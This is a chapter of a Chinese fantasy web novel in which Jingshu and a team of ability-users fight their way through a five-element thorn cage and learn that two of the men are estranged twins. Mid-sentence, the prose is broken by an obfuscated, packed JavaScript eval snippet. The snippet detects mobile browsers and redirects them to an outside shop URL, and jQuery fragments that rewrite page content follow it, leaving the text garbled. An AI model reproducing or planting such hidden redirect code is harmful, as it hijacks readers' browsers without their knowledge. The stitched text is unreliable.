见他们安然无恙,静姝心里瞬间恢复平静。
既然他们无事,那被剑气刺伤的就是外面的异能者,只不知伤得重不重。
抚了抚胸口,静姝明确感知到,刚刚一瞬间极速跳动的心脏并不是错觉。
她在一点点地开始拥有自己的七情六欲。
被刺得千疮百孔的囚笼开始剧烈震动,带着地面都微微晃动,仿佛下一秒就会四分五裂。
然而,也只是仿佛。
摇摇欲坠的荆棘囚笼顷刻间如同被注入了新的生机,藤蔓开始生长,相互扭曲纠缠,变得更加坚固厚实,收缩的速度也愈加迅速。
静姝微微蹙眉,上前两步,仔细观察面前的荆棘墙,神识无声无息地覆盖在其表面。
深绿色的藤蔓粗壮如蟒,纠缠盘绕,以肉眼可见的速度再生、分支。
其间暗红色的纹路如同血管般明灭不定,带着能灼伤人的热意。
藤蔓表面覆盖着一层流动的幽蓝色水膜,具有极寒的腐蚀性,能悄无声息地渗透皮肤,从内部击溃人的防御。
静姝的神识微微扫过,似乎都能感觉到能将人神魂冻伤的冰寒。
藤蔓上淡金色的尖刺如一柄柄锋利的短匕,生长时发出令人牙酸的金属刮擦声。
而荆棘底部,无数的尖锐晶石从大地刺出,与上方的荆棘藤蔓相勾连,替它们提供养分。
谁能想到,眼前这看似寻常却又透着诡异气息的荆棘囚笼,竟是由金木水火土五行之力催发而成。
它们彼此流转、相辅相成,巧妙地组成一套循环往复、生生不息的绝杀之阵。
难怪如此!
她的剑法虽还未达到登峰造极、人剑合一的境界,但要破开寻常的荆棘囚笼,本该绰绰有余。
但事与愿违。
剑气虽穿透荆棘,却并将其摧毁。
剑气,本质上来说,是通过剑将元气外放的极致表现。
在这个过程中,元气与剑完美融合,再脱离剑而独立攻击,天然带着一丝金锐之气。
这丝金锐之气锐利无比、坚不可摧。
而五行相生相克、循环不绝。
恰是这丝金锐之气,反倒成了荆棘囚笼的养分,被吸纳转化,助长藤蔓蔓延。
好一个五行绝杀阵!
静姝心中赞叹。
想要破开这荆棘囚笼,似乎只有找到其力量薄弱之处,然后以摧枯拉朽之势,打破五行平衡,才能彻底摧毁这荆棘囚笼。
“陈小姐,你想到办法出去了吗?”小魏颤抖的声音在耳畔响起,拉回了静姝的思绪。
她转头望去,就见刚刚还神采奕奕的几人,此时正哆哆嗦嗦抱在一起取暖。
原来,在不知不觉间,囚笼中的温度正在快速下降。
湿冷的空气如同跗骨之疽,从各种缝隙转入人的皮肤,直至将骨髓都冻僵。
偏偏就这么合适,他们这些人之中刚好没有火系异能者,连取暖都无法做到。
刚这么想着,小魏就见静姝手掌一翻,一枚小巧的浅紫色火焰出现在掌心,晃晃悠悠地向他们飞来。
随着火焰离他们越来越近,空气中的寒意被迅速驱散,小魏打了一个激灵,呼出一口寒气。
终于是又活了过来!
小魏心里突然升起无限感慨。
下一秒,他突然蹿到静姝面前,满脸崇拜,“陈小姐,没想到你还是火系异能者!”
他之前可是看得很清楚,静姝在与人打斗时使用了金土两系异能,如今再加上火系。
这可是三系异能者呀,小魏内心羡慕不已。
静姝默认了他的说法,并没有过多解释自身特殊情况。
她看着在场众人,道:“我仔细察看过,这荆棘囚笼由五行构成,相互依存。想要摧毁它,要么打破五行平衡,要么以蛮力摧毁。”
“五行?金木水火土?”
小魏欣喜道:“正好!我们闫队是雷属性,不属于五行当中的任何一种。让他去,肯定能事半功倍。”
“你是不是傻?”唐晓反手轻轻打在他后脑。
小魏摸了摸被打的地方,呐呐不敢言。
“好了,不要欺负他。”闫明的声音无奈响起。
“嘿嘿,闫队,我可没有欺负他。我在和他开玩笑呢?”唐晓慌忙解释。
小魏也在一旁点头,“是呀,闫队。我们是闹着玩的。”
闫明轻轻摇头,开口向小魏解释道:“雷在五行中属木。他们既然敢以五行相生相克的原理进行布阵,那要打破这种平衡,一般的实力可办不到。”
接着又无奈道:“我的实力也还没有到达这种地步。”
“这样呀。”小魏失落地挠了挠头,蹙眉沉思。
忽然,他视线落在漂浮于空中的浅紫色火苗上,眼睛一亮,“这火能在一瞬间将寒气驱逐,想来应该很厉害。陈小姐,要不你试试?”
“还差点火候。”静姝摇头。
这火虽是她的本命灵火,但她在天元大陆时渡劫失败导致身死,这灵火就差点消散。
如今经过三个世界的蕴养,也才堪堪恢复一层威力,和普通火焰相比强不了多少。
再加上,她刚到这个世界不久,实力不强,火焰的威力自然也就受到了影响。
“这可怎么办?”
小魏的声音有些发颤,“再这样下去,过不了多久,我们就要被挤成肉饼了。”
伴随着他的话音,荆棘墙又向内收紧了几分。
如今,留给他们的活动范围也就一间屋子大小。
“嗷,烫死我了!”
一声惨叫猛然炸开。
众人慌忙扭头,只见唐晓正抱着右脚单腿乱跳。
他本是站在众人后方,此时荆棘囚笼收缩,不知不觉间就到了荆棘墙旁。
也不知从何时起,一圈诡异的火焰从荆棘墙根处开始,沿着地面向中心徐徐蔓延。
唐晓也就首当其冲,被突然出现的火焰狠狠灼伤了右脚。
“嘶!小魏,快!痛死我了!”唐晓顾不得形象,一边脱掉那只已经被火烧得破破烂烂的鞋子,一边跌跌撞撞挤到小魏身旁,疼得脸都皱成了一团。
小魏连忙伸出手,掌心泛起莹白色微光,轻轻覆在那只被烧得通红的脚上。
光芒流转,红肿瞬间消退,那仿佛能灼烧人灵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231594|173382||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
魂的疼痛也缓缓散去,唐晓这才长长松了口气。
然危机并未解除。
火焰仍在缓慢地向中心蚕食,热浪扑面而来,众人不得不向中心靠拢。
唐晓赶紧支起防护罩将从人笼罩其中,抵挡外面汹涌的火焰。
也幸好他所凝聚的金属性防护罩坚不可摧,连子弹都无法轻易射穿,挡住区区火焰不在话下。
唐晓心中暗自得意。
“不能坐以待毙!”闫明冷静的声音响起。
他视线转向呈守护姿态站在静姝身旁的‘风’,语气严肃,“你自小便比我聪明,可有出去的方法?”
‘风’微微一怔,目光倏地投向静姝,见她眉目间掠过一丝恍然,心头猛地一沉,随即涌起一股被算计的怒意,狠狠瞪向闫明。
这人绝对是故意的,故意选在此时、此地,在静姝面前,撕开那层他竭力掩藏的关系。
“原来二位竟是发小。”静姝语气仍是一贯温和,听不出喜怒。
虽然她一早便察觉这两人之间早已认识,但也从未想过,他们竟然有一起长大的情分。
“我们可不是发小。”
闫明嘴角上扬,露出一抹意味深长的笑容,“难道他没告诉陈小姐吗?”
“什么?”
“我和他──”闫明伸出手指,先点了点自己,又缓缓移向‘风’,“是血脉相连的亲兄弟。”
他的目光看向脸色阴沉得仿佛能滴出水的‘风’,含着一丝显而易见的挑衅。
“是吗?”静姝看向沉默的男人,眼神平静,却带着一丝询问。
大概是知道事已成定局,再无法更改,‘风’脸上的怒色缓缓褪去,又恢复了往日的慵懒与漫不经心。
他冲静姝微微颔首,不再有一丝隐瞒,“对,我们是双胞胎。我只比他晚出生半刻钟,却仿佛隔了半生。”
“他叫闫明,明天的明。而我叫闫冥──”
他顿了顿,语气低沉,“幽冥的冥。”
从名字之中,光明与黑暗的对立早已明确。
无需多言,这背后天壤之别的命运,就在这区区两字之间,扑面而来。
闫明,寓意着光明与希望,从出生就被赋予了美好的期许;闫冥,代表着黑暗与神秘,从一开始就被打上了不幸的烙印。
静姝静默了片刻。
周围火焰将囚笼照亮,光影摇曳,将从人的面庞照得忽明忽暗。
“为什么?”她问。
声音轻得如一声叹息。
她不明白,明明同样是父母的孩子,为什么命运会如此不公。
“不明白吗?”‘风’语气平静。
这是在无数次的失落、伤心之后,不得不学会释然的平静。
“或许,是我命格太硬,克亲吧。母亲在生下我之后,突然大出血去世了。”
“现在,我其实已经能理解父亲了。”
‘风’眼眸深深地注视着静姝,“如果我的爱人因某个人而死,不管那人是谁,我大概……也会视其为仇敌。”
他顿了顿,故作轻巧地耸了耸肩,“所以你看,他能将我养大,已经很难得了,不是吗?”